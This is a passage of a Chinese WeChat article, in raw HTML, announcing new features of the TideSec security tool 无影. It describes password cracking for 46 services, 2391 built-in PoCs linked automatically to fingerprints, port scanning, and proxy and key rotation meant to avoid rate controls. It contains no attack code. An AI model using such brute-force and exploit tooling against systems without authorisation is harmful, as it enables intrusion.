auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">无影</span><span leaf="">新增了达梦数据库、ActiveMQ服务、RabbitMQ服务、Kafka服务、Neo4j等服务的弱口令检查，以及Modbus、RMI、ADB等服务的未授权检测。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">截止目前，无影已集成了46种服务和协议的密码破解功能。</span></strong><span leaf="">覆盖的服务包括SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等46种。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037682" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=3d43845e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iax1RQoxCzg8t4oicJfWMev9ibmUDBUCj4xtU92VDW3VxeBtHSVNH0zae1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.3 空间测绘支持多key轮询、多条查询</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="" style="word-spacing: 0em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">无影</span><span leaf="">支持9种常见的空间测绘引擎的单独使用和数据聚合，目前也均已支持多key轮询，以防单key容易触发风控。且各种查询条件均支持多条语句同时查询。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037683" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=424dc14c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxeO8bibIAicpJ5SpUDmPiaw4Z8qqPoBrJ4dtLkZbZjeYRibcXhZIcibANiaUg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037684" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=0ebafe65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxiaicJph0hKFExI5VOHq0AlsFaZS6ibE9mrxqOLhfGLDzpsftsVERhdCEA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.4 内置poc新增113个总计2391个</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="" style="word-spacing: 0em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">无影</span><span leaf="">依托于Tide安全文库<a href="http://wiki.tidesec.com/的技术支持，每月都会更新最新poc，目前内置poc累计2391个。" target="_blank">http://wiki.tidesec.com/的技术支持，每月都会更新最新poc，目前内置poc累计2391个。</a></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037685" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=fd5253da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iax1xjmhXbgl28nEuCb0Y0icblPuECiceZROicjrTbPX6w9LgKlYnTHUUdjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.5 资产探测支持启发式扫描模式</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="word-spacing: 0em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="" style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">无影</span></code><span leaf="">参考</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">gogo</span></code><span leaf="">的启发式扫描原理，在v2.8.0版本之后也加入了启发式扫描，针对大网段的检测更高效而精准。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037686" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=eb1cba42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxKHSY528CSybfjkYpm2MnykKJuHYNFDQ2IbdNmicYehj1mfiaSzQiacbqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.6 端口扫描支持UDP扫描、IPv6协议、防火墙检查等</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="" style="word-spacing: 0em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">无影</span><span leaf="">在端口扫描时，针对常见UDP协议（如DNS、DHCP、SNMP等协议）进行定向检测，针对SNMP有UDP和TCP两种情况也进行了分别判断，更精准的发现更多资产和指纹。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当电脑支持ipv6协议时，IP端口扫描也可对IPv6网络进行端口扫描和指纹识别。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037687" class="rich_pages wxw-img" data-ratio="0.21388888888888888" data-s="300,640" data-type="jpeg" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=da1eb710&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxl5drzjetE9LiaC1w9X2bic9uqopjOoPDTqtTHHCiatvAPlhujGCINIic1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">另外，当探测某些服务器端口时，有时会发现所有端口都开放，这时可能是目前主机启用了防护措施。为了避免在这种目标上浪费太多时间，</span><span leaf="" style="word-spacing: 0em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">无影</span><span leaf="">启用了防火墙检测功能。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在开启后会检测防火墙是否开启，如防火墙开启则只扫描常见的50多个端口；关闭该项检测后，会根据配置的端口进行全量扫描。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037688" class="rich_pages wxw-img" data-ratio="0.5907407407407408" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=d597c71f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxas030ypwibbk1z33mKjh4VwSPValNEqOPibehf7BmTicGJzQZD52lcQPA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.6 支持ICP备案批量查询</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">为实现批量查询icp备案的功能，</span><span leaf="" style="word-spacing: 0em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin: 0px 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;overflow-wrap: break-word;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">无影</span><span leaf="">采用了轮询爱站、站长之家、beianx等api接口的方式，并使用了本地数据缓存的机制，大大提升了ICP备案查询的速度和准确度。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037689" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=1b6fe385&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxluDC4uTibf8ay0bJsLArB6kDOU8Xv5UY55H6jtHsxOt6fn2miaonekRA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.7 代理池增加无限轮询模式及免费代理爬取功能</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">代理池增加了几个免费代理API，就算不配置空间测绘key也可以尝试使用免费的代理，不过质量相对差一些。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037690" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=134487db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxa1WzJTsU2lZou4icv0esT1SRJk1FOicRbYMPUbqPBt9Kia23T6RJjWibDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">另外代理池模式增加了无限轮询，在个人可保证代理质量的情况下，可以让代理池中的所有代理一直轮换使用。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037691" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=8be301d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxIZLd4wrvFYV5KNunay7uOGATh5CcWBAJFP6Gzt3amlytiaPk4Nmbk1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.8 web指纹检测性能优化及页面截图</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">目前内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟。同时增加页面截图功能，方便站点预览。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037692" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4708ea5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iax4pWo8qJkcicAm0yQwGKvGZ7TiafdkqGbh1SicQ28odo2S0CGiaiaMrbfNWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.9 前端页面布局调整增加TitleBar</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">调整优化页面部署，在标题栏增加CPU占用、程序重载、Slogan展示、快速主题切换、手动更新等按钮。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037693" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=87491d14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxNSV7DKF3FkrVU1WY5YOEYR0aPyLxt6h0xGpTI5A8h5GHqOYUITYeWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.10 导出数据支持更多格式</span></span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">所有功能模块支持html和xls格式数据的导出，信息搜集模块也支持对该项目所有数据信息进行整合导出。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037694" class="rich_pages wxw-img" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=3332ba4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxeickYVXcq1UWS3DaMSzeUFYTCcDb8diaCYYvvPjxTgOhPmESyUhrqDAA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><br/></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037695" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=e839fe1d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxVBqqrSTokwKXgYDfhOfjdWJLDaqxkA7IulgVM0Y9UCQquUVicXMniaibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><br/></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037696" class="rich_pages wxw-img" data-ratio="0.3333333333333333" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=1fa8b215&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iaxVGxHdeUlB1TibZoiaCTUicF4ZMHNfPibia942V3xicibPkTv3sX7xib5lgc6LQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf=""><span textstyle="" style="font-size: 18px;">3、其他已有功能</span></span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【特色功能】</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1、内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟，在效率和指纹覆盖面方面应该是目前较高的了。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2、在指纹探测结果中，对130多个红队常见CMS和框架、Poc可关联CMS进行了自动标注。内置大量高质量Poc，并可外接Nuclei、Afrog、Xray等Poc工具，可实现指纹和Poc的联动，根据指纹识别的结果自动关联Poc，并可直接查看poc数据包相关信息。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3、在创建IP端口扫描、Url扫描时，可关联Poc检测、密码破解、目录扫描等功能，发现匹配的服务或产品时会自动触发密码破解或poc检测。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span 